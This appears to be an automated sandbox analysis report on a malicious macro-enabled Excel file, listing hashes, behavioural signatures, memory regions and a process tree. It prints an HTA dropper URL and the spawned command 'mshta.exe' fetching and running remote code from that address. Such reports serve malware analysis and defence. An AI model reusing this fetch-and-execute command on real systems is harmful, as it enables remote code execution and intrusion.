Analysis

  • max time kernel
    143s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 11:37

General

  • Target

    b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm

  • Size

    11KB

  • MD5

    b34e9ead07368f3671ccb2b4764ffe3a

  • SHA1

    54c1fd55b70a33af7187cc262969750f4e353850

  • SHA256

    7d1928b33d2ecd7ad4b5abcaedcc921e12d293a60add778db4bee66f68886524

  • SHA512

    88b0030b95011d8529220231d0f59195fc13c5b6501542de690f4ce6f03142e067247be6a495b6ba981c1e8f6d6753d795d62778ad460c255099d09d1907760c

  • SSDEEP

    192:He8uJDU7tqtatyPF7XsjgJq0qF9tJ6+TT9SvN1ajw68q:He8sDU7t+PFu0c9tJPHQl1aoq

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://10.50.19.8:8080/credit_excel.hta

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3216
    • C:\Windows\SYSTEM32\mshta.exe
      mshta.exe http://10.50.19.8:8080/credit_excel.hta
      2⤵
      • Process spawned unexpected child process
      PID:4980

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    4abe4f2ef7286b9100adb134d90731f0

    SHA1

    4dca9fdb5b9f55a66892ac11a5a9d78937e76a33

    SHA256

    a9fd0cca5a2a24d2cba2e8eea9d2d460846a1e01cedfa188e813f2ba213c9c0c

    SHA512

    3b07406a3e73a778989c55505661325d5067ced03ebb18f52dbbb7adf864975a492c37ef0306f972409f1f1f78bdfe807a92298263c6ad1f25f3aff572fb4240

  • memory/3216-15-0x00007FFBE6570000-0x00007FFBE6580000-memory.dmp

    Filesize

    64KB

  • memory/3216-33-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-0-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-1-0x00007FFC28EED000-0x00007FFC28EEE000-memory.dmp

    Filesize

    4KB

  • memory/3216-9-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-10-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-11-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-12-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-8-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-13-0x00007FFBE6570000-0x00007FFBE6580000-memory.dmp

    Filesize

    64KB

  • memory/3216-7-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-6-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-14-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-2-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-3-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-16-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-38-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-5-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-24-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-25-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-17-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-34-0x00007FFC28EED000-0x00007FFC28EEE000-memory.dmp

    Filesize

    4KB

  • memory/3216-18-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-39-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB

  • memory/3216-4-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-62-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-61-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-64-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-63-0x00007FFBE8ED0000-0x00007FFBE8EE0000-memory.dmp

    Filesize

    64KB

  • memory/3216-65-0x00007FFC28E50000-0x00007FFC29045000-memory.dmp

    Filesize

    2.0MB